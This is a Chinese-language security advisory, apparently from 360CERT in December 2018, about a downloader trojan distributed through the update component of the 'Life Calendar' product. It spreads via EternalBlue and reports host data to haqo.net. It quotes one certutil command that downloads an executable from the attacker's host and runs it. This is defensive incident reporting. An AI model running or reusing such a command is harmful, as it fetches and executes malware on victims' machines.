利用“驅(qū)動人生”升級程序的惡意程序預(yù)警

本文作者：木子

2018-12-15 17:33

導(dǎo)語：360互聯(lián)網(wǎng)安全中心監(jiān)控到一批通過 “人生日歷”升級程序下發(fā)的下載器木馬。

原文作者：360核心安全團(tuán)隊

0x00 概述

2018年12月14日下午，360互聯(lián)網(wǎng)安全中心監(jiān)控到一批通過 “人生日歷”升級程序下發(fā)的下載器木馬，其具備遠(yuǎn)程執(zhí)行代碼功能，啟動后會將用戶計算機(jī)的詳細(xì)信息發(fā)往木馬服務(wù)器，并接收遠(yuǎn)程指令執(zhí)行下一步操作。

同時該木馬還攜帶有永恒之藍(lán)漏洞攻擊組件，可通過永恒之藍(lán)漏洞攻擊局域網(wǎng)與互聯(lián)網(wǎng)中其它機(jī)器。

360安全衛(wèi)士已在第一時間對該木馬進(jìn)行了攔截查殺，并提交廠商處理。

360CERT在此發(fā)出預(yù)警，請用戶及時做好安全防護(hù)與病毒查殺工作。

0x01 技術(shù)細(xì)節(jié)分析

2018年12月14日14時，驅(qū)動人生旗下的“人生日歷”產(chǎn)品，通過其升級組件DTLUpg.exe，開始下發(fā)執(zhí)行木馬程序

f79cb9d2893b254cc75dfb7f3e454a69.exe，18時開始木馬推送量開始擴(kuò)大，到23時我們向廠商通報了發(fā)現(xiàn)的情況，下發(fā)停止。

截止12月14日21時，該木馬累計攻擊計算機(jī)超過5.7萬臺（不包括漏洞攻擊情況，360安全衛(wèi)士帶有永恒之藍(lán)漏洞免疫功能）。

該木馬程序執(zhí)行后，會向系統(tǒng)安裝木馬服務(wù)Ddriver實現(xiàn)長期駐留，之后向服務(wù)器haqo.net發(fā)送宿主機(jī)器的詳細(xì)信息，包括如下信息：

計算機(jī)名稱
操作系統(tǒng)版本
機(jī)器軟硬件信息等

之后接收服務(wù)器返回的shellcode指令執(zhí)行。

利用“驅(qū)動人生”升級程序的惡意程序預(yù)警

同時該木馬具有自升級，遠(yuǎn)程下載文件執(zhí)行，遠(yuǎn)程創(chuàng)建服務(wù)等功能。

木馬在啟動后，會根據(jù)服務(wù)器指令，下載一款永恒之藍(lán)漏洞利用工具，通過該漏洞利用工具，攻擊局域網(wǎng)與互聯(lián)網(wǎng)中其它計算機(jī)，攻擊成功后，使用certutil做跳板程序，向其它機(jī)器安裝該木馬（也可以安裝其它木馬，由云端服務(wù)器決定）。

certutil -urlcache -split -f hxxp://dl.haqo.net/dl.exe c:\install.exe&c:\install.exe&……

利用“驅(qū)動人生”升級程序的惡意程序預(yù)警